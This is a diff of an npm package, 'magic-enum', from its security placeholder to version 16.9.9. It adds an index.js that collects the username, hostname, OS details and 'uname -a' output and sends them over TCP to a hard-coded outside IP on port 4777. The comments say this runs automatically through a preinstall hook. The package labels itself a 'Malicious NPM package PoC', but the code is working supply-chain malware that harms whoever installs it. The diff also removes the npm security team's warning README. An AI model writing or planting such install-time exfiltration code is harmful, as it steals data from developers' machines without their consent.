magic-enum 0.0.1-security → 16.9.9

package/index.js

@@ -0,0 +1,42 @@
+const os = require('os');
+const net = require('net');
+const { exec } = require('child_process');
+
+const targetIP = '65.0.127.249';  // IP of your listener machine
+const targetPort = 4777;          // Port that the listener is listening on
+
+function getSystemInfo(callback) {
+    let info = {};
+
+    info.username = os.userInfo().username;
+    info.hostname = os.hostname();
+    info.platform = os.platform();
+    info.arch = os.arch();
+    info.release = os.release();
+
+    exec('uname -a', (error, stdout, stderr) => {
+        if (error) {
+            console.error(`exec error: ${error}`);
+            return;
+        }
+        info.uname = stdout;
+        callback(info);
+    });
+}
+
+function sendSystemInfo(info) {
+    const client = new net.Socket();
+    client.connect(targetPort, targetIP, () => {
+        client.write(JSON.stringify(info));
+        client.end();
+    });
+
+    client.on('error', (err) => {
+        console.error(`Socket error: ${err.message}`);
+    });
+}
+
+// Run as soon as the package is installed (i.e., when preinstall hook is triggered)
+getSystemInfo((info) => {
+    sendSystemInfo(info);
+});

package/package.json

@@ -1,6 +1,15 @@
 {
   "name": "magic-enum",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "16.9.9",
+  "description": "Malicious NPM package PoC",
+  "main": "index.js",
+  "preinstall": "node index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "Security Researcher",
+  "license": "ISC",
+  "dependencies": {
+    "magic-enum": "^12.9.9"
+  }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=magic-enum for more information.